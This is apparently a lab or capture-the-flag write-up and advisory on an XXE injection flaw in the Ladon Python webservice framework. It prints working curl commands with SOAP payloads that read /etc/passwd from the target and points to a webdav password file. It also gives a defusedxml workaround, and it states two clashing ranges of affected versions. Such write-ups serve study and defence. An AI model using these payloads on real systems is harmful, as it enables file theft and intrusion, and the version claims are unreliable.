Ladon is a framework for exposing python methods to several internet service protocols. Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command

line tool “ladon-2.7-ctl” with the command “testserve” and the name of the Python file, the webservices can be accessed via HTTP.

Sample code

from ladon.ladonizer import ladonize

class HelloService(object):

@ladonize(unicode, rtype=unicode)

def sayhello(self, uid):

return u”Hello {0}”.format(uid)

This function can then be run as a ladon webservice via the following command:

  • ladon-2.7-ctl testserve helloservice.py -p 8000

Note: This enables access to the “sayhello”-function via SOAP- and JSON-APIs.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The vulnerability exploits the XML External Entity (XXE) processing in the SOAP request handlers. For instance, an attacker could send a specially crafted SOAP call to craft request handlers, resulting in the attacker being able to read files and pivot to other internal endpoints.

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability to do the following:

  • read local files
  • forge server side requests
  • overload the service with exponentially growing memory payloads.

What is XXE?

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed,

  • The parser can make a request and include the content at the specified URI inside of the XML document.
  • Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

Payload example:

<?xml version=”1.0″?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM “file:///etc/passwd”>

]>

<soapenv:Envelope>

<soapenv:Body>

<urn:checkout>

<uid>&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>

Vulnerable software versions

Ladon: 0.6.1 – 1.0.4

Versions 0.9.40 and below are affected

Enumeration

1. identify the application is using Ladon service.

2. Then I accessed the muddy service. In there I noticed the “checkout” function was enabled.

3. Looking for exploits I found this interesting one from Exploitdb (https://www.exploit-db.com/exploits/43113)

  • searchsploit ladon

4. Looking at the exploit I found this interesting payload

2. We need to modify the fields to match our environment, if we get to print our string then this application is vulnerable to XXE.

curl -s -X $’POST’ \

-H $’Content-Type: text/xml;charset=UTF-8′ \

-H $’SOAPAction: \”http://muddy.ugc:8888/muddy/soap11/checkout\”‘ \

–data-binary $'<?xml version=”1.0″?>

<!DOCTYPE uid

[<!ENTITY passwd “Vry4n“>

]>

<soapenv:Envelope xmlns:xsi=\”http://www.w3.org/2001/XMLSchema-instance\”

xmlns:urn=\”urn:HelloService\”><soapenv:Header/>

<soapenv:Body>

<urn:checkout>

<uid xsi:type=\”xsd:string\”>&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>’ \

‘http://muddy.ugc:8888/muddy/soap11/checkout’ | xmllint –format –

Exploitation

1. By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the “/etc/passwd”-file on the server using file://

curl -s -X $’POST’ \

-H $’Content-Type: text/xml;charset=UTF-8′ \

-H $’SOAPAction: \”http://muddy.ugc:8888/muddy/soap11/checkout\”‘ \

–data-binary $'<?xml version=”1.0″?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM “file:///etc/passwd“>

]>

<soapenv:Envelope xmlns:xsi=\”http://www.w3.org/2001/XMLSchema-instance\”

xmlns:xsd=\”http://www.w3.org/2001/XMLSchema\”

xmlns:soapenv=\”http://schemas.xmlsoap.org/soap/envelope/\”

xmlns:urn=\”urn:HelloService\”><soapenv:Header/>

<soapenv:Body>

<urn:checkout soapenv:encodingStyle=\”http://schemas.xmlsoap.org/soap/encoding/\”>

<uid xsi:type=\”xsd:string\”>&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>’ \

‘http://muddy.ugc:8888/muddy/soap11/checkout’ | xmllint –format –

2. The result of the curl command should be the passwd file in linux

3. In this particular scenario, we noticed a /webdav folder, so we will try to read users file, looking for user/password info

  • We need to search within /var/www/html/webdav/passwd.dav

Remedy

No remedy available as of November 3, 2017.

Alternative remedy

The Python package defusedxml [2] can be used to monkey patch the code to

prevent XML vulnerabilities. The following workaround can be included in the

code, which prevents exploitation:

import defusedxml

defusedxml.defuse_stdlib()

References

https://security.snyk.io/vuln/SNYK-PYTHON-LADON-451661

https://packetstormsecurity.com/files/144872

https://seclists.org/fulldisclosure/2017/Nov/15

https://bitbucket.org/jakobsg/ladon/src/42944fc012a3a48214791c120ee5619434505067/src/ladon/interfaces/soap.py#lines-688

https://ladon.readthedocs.io/en/latest/